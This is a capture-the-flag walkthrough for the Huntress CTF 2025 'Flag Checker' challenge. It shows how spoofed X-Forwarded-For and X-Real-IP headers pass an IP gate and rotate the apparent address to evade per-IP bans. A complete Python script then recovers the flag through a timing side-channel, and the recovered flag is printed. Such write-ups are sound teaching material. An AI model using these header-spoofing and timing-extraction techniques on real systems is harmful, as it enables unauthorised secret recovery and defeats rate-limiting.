Flag Checker đźš© - Timing Side-Channel via X-Forwarded-For

Tags: Huntress CTF 2025 Timing Attacks Side Channels

Illustration of a person checking a flag
Challenge art for Flag Checker.

A walkthrough of the Flag Checker challenge, where we bypass a proxy/IP gate with X-Forwarded-For and then abuse a timing side-channel to recover the flag one character at a time while dodging brute-force controls.

Challenge Prompt

“We've decided to make this challenge really straight forward. All you have to do is find out the flag!

Juuuust make sure not to trip any of the security controls implemented to stop brute force attacks...”

Screenshot of the challenge prompt
The prompt warns about brute-force controls.

1. Core Idea

The core behavior of the app looks like this:

  • The app only “trusts” requests that look like they come through a proxy, by checking X-Forwarded-For.
  • Once past that gate, the flag checker leaks a timing side-channel: the response time grows as more leading characters of a guess are correct.
  • We measure that timing to recover the flag one character at a time, while rotating IPs to dodge bans and brute-force controls.

2. Recon - What’s running on the target?

a. Port scan

First step: classic port scan against the challenge target.

nmap -T4 -A -p- 10.1.160.39

What we learned was open:

  • 80/tcp: nginx (front door of the app)
  • 5000/tcp: Flask/Werkzeug (the app itself)
  • 22/tcp: SSH

b. First look at the app

Hit the app directly and submit anything as the flag parameter just to see how it responds:

curl -i "http://10.1.160.39:5000/submit?flag=flag"

Observation:

The response is tiny and literally says “X-FORWARDED-FOR Header not present.”

Response showing X-FORWARDED-FOR Header not present Another view showing missing X-FORWARDED-FOR header error
The backend refuses to do anything unless X-Forwarded-For is present.

Browser DevTools confirmed the same behavior: there was no forward header on the request, and the page just complained about the missing X-FORWARDED-FOR header.

DevTools headers showing missing X-Forwarded-For
DevTools confirms the request was missing the forwarded header.

Conceptually this is straightforward: the app is refusing requests unless an X-Forwarded-For (or similar proxy IP) header is present.

So the trick is to make the server think the request came from a trusted IP by adding the forwarded header (or one of the other IP headers apps commonly check).


3. Bypassing the proxy/IP gate

Web servers behind reverse proxies often trust X-Forwarded-For (and/or X-Real-IP) to read the original client IP.

Let’s spoof being “local” by setting it to 127.0.0.1:

curl -i -H "X-Forwarded-For: 127.0.0.1" \
  "http://10.1.160.39:5000/submit?flag=testing"

What changes:

  • We no longer see the tiny “missing header” page.
  • We get a full HTML page with a message - “Not Quite!”
Full HTML response showing Not Quite
Gate passed: once the app sees a trusted-looking client IP, it shows the full “Not Quite!” page.

Optional confirmation could have been done via port 80 (nginx fronting the app):

curl -i -H "X-Forwarded-For: 127.0.0.1" \
  "http://10.1.160.39/submit?flag=testing"

For me, going straight to port 5000 sufficed.

The app also has brute-force controls. If you’re too noisy, you may see something like: “Stop Hacking! Your IP has been blocked.”

Stop Hacking message indicating IP blocked
Brute force / rate-limiting logic kicking in when one IP sends too many guesses.

If that happens, you can rotate the apparent client IP by changing X-Forwarded-For and X-Real-IP:

curl -i \
  -H "X-Forwarded-For: 10.23.45.67" \
  -H "X-Real-IP: 172.20.14.88" \
  -H "Connection: close" \
  --cookie "" --cookie-jar /dev/null \
  "http://10.1.160.39:5000/submit?flag=test"

4. Spotting the side-channel (timing leak)

With the gate bypassed, the next step is to look at what the response reveals.

The app helpfully sets an X-Response-Time header in each response (e.g., 0.000969).

DevTools showing X-Response-Time header
The app exposes X-Response-Time, which we can treat as a built-in timing oracle.

Even if that header weren’t present, you could always measure wall-clock time yourself.

Hypothesis:

Many “flag checkers” compare your guess to the real flag character-by-character and stop at the first mismatch. If your prefix is longer and correct, it takes longer before it fails.

Time reveals how many leading characters you got right - that's the side-channel.


5. Building a simple timing experiment

Next, I wanted to confirm whether timing really grows with the length of the correct prefix.

You can do a quick test with curl and the X-Response-Time header:

curl -s -D - -H "X-Forwarded-For: 127.0.0.1" \
  "http://10.1.160.39:5000/submit?flag=flag{" \
  -o /dev/null | grep -i x-response-time

Then try flag{0, flag{1, and compare. You’ll see clusters of times.

That’s your signal.

Important: the server adds rate limits and bans. After enough requests from one IP, it will complain about hacking and block you. The hint explicitly says to change IP if you get banned.

Since the app trusts X-Forwarded-For, we can rotate the apparent IP by changing the header value on each request (e.g., 10.x.x.x, 172.16.x.x, 192.168.x.x).


6. Turning the signal into an attack

a. Strategy

The high-level strategy for the script looks like this:

  • Always send X-Forwarded-For (and rotate it every request).
  • For position i of the flag:
  • Measure a baseline: timing for the current prefix.
  • Try every candidate next char, several times each.
  • Compute the delta: candidate_median - baseline_median.
  • Pick the char with the largest positive delta.
  • Confirm it with extra trials before locking it in.
  • Only accept 32 hex characters inside the braces (known format), then append } and POST the result to verify.

Why 32 hex? Previous flags followed flag{<32 hex>}. Enforcing that prevents the script from choosing } too early due to noise.

b. The working script

Based on all this, I asked ChatGPT to draft a Python script to automate the attack, then saved it as flag_checker.py:

#!/usr/bin/env python3
import requests, random, time, os
from statistics import median

BASE_GET  = "http://10.1.160.39:5000/submit?flag="
BASE_POST = "http://10.1.160.39:5000/submit"
UA        = "timing-oracle/strict-hex/1.0"
START     = "flag{"
HEX       = "0123456789abcdef"
HEX_LEN   = 32
TRIALS_BASE    = 8
TRIALS_CAND    = 8
TRIALS_CONFIRM = 12
TIMEOUT   = 6.0
JITTER    = (0.06, 0.14)
IGNORE_SZ = 69
RESUME    = "progress.txt"

S = requests.Session()
S.headers.update({"User-Agent": UA})

def rand_ip():
    pool = random.choice([
        (10, random.randint(0,255), random.randint(0,255), random.randint(1,254)),
        (172, random.randint(16,31), random.randint(0,255), random.randint(1,254)),
        (192,168, random.randint(0,255), random.randint(1,254)),
        (127,0,0,1),
    ])
    return ".".join(map(str, pool))

def hit(candidate):
    hdr = {"X-Forwarded-For": rand_ip(), "X-Real-IP": rand_ip()}
    t0 = time.perf_counter()
    r  = S.get(BASE_GET + candidate, headers=hdr, timeout=TIMEOUT)
    wall = time.perf_counter() - t0
    xr = r.headers.get("X-Response-Time")
    try:
        xrf = float(xr) if xr else None
    except Exception:
        xrf = None
    return r.status_code, len(r.text), xrf, wall

def run_trials(candidate, n):
    vals = []
    while len(vals) < n:
        sc, sz, xrf, wall = hit(candidate)
        if sc is None or sz == IGNORE_SZ or wall < 0.002:
            time.sleep(0.05)
            continue
        vals.append((xrf if xrf is not None else wall, wall, sz))
        time.sleep(random.uniform(*JITTER))
    return vals

def med_time(vals):
    return median([v[0] for v in vals]) if vals else 0.0

def baseline(prefix):
    return med_time(run_trials(prefix, TRIALS_BASE))

def load():
    if os.path.exists(RESUME):
        p = open(RESUME, "r", encoding="utf-8").read().strip()
        if p.startswith(START):
            return p
    return START

def save(p):
    open(RESUME, "w", encoding="utf-8").write(p)

def main():
    prefix = load()
    print("[*] resume:", prefix)
    while len(prefix) < len(START) + HEX_LEN:
        base = baseline(prefix)
        print(f"[+] baseline({prefix!r})={base:.6f}")
        best_c, best_delta = None, -1e9

        for ch in HEX:
            m   = med_time(run_trials(prefix + ch, TRIALS_CAND))
            dlt = m - base
            print(f"    try {prefix+ch!r} -> med={m:.6f} delta={dlt:.6f}")
            if dlt > best_delta:
                best_delta, best_c = dlt, ch

        conf = med_time(run_trials(prefix + best_c, TRIALS_CONFIRM))
        if conf - base < 0.003:
            print(f"[!] weak signal for {best_c!r}; retrying...")
            time.sleep(1.2)
            continue

        prefix += best_c
        save(prefix)
        print(f"[+] accept {best_c!r} -> {prefix!r}")
        time.sleep(0.6 + random.uniform(0.1, 0.3))

    candidate = prefix + "}"
    print("[*] completed 32 hex; testing closing brace...")
    if med_time(run_trials(candidate, TRIALS_CONFIRM)) - baseline(prefix) < 0.003:
        print("[!] brace not clearly better; try again shortly.")
        time.sleep(1.5)
    else:
        prefix = candidate
        save(prefix)
        print(f"[+] candidate flag: {prefix}")

if __name__ == "__main__":
    main()

Then, run the script:

python3 flag_checker.py

The script prints baselines, tries each candidate character, confirms the best one, and appends it to the prefix. It won’t accept } early; it requires exactly 32 hex characters first, then tests the closing brace.

Terminal output showing baseline timings and candidate deltas
The timing oracle in action: baselines, candidate medians, and deltas while reconstructing the flag.

7. Flag Checker

After a slow grind, it finally completed and recovered the flag.

Web app confirming the correct flag
Flag confirmed by the challenge.

The flag was: flag{77ba0346d9565e77344b9fe40ecf1369}

Congratulations screen after solving the challenge
Challenge complete. Timing leak + rotated IPs = W.

8. Extra notes

What is X-Forwarded-For?

It’s a header added by proxies to record the original client IP (e.g., 1.2.3.4, proxy-ip). Apps behind proxies often read it to figure out who really connected. Here, the app refuses to run unless this header is present.

What is a timing attack?

Any time the server’s processing time depends on how “close” your guess is to a secret, you can use timing to recover that secret character-by-character. Measuring medians of multiple trials helps smooth out network noise.

Why rotate IPs?

The app bans IPs that send too many guesses. Rotating the apparent client IP in X-Forwarded-For lets you keep going while sidestepping per-IP rate limits.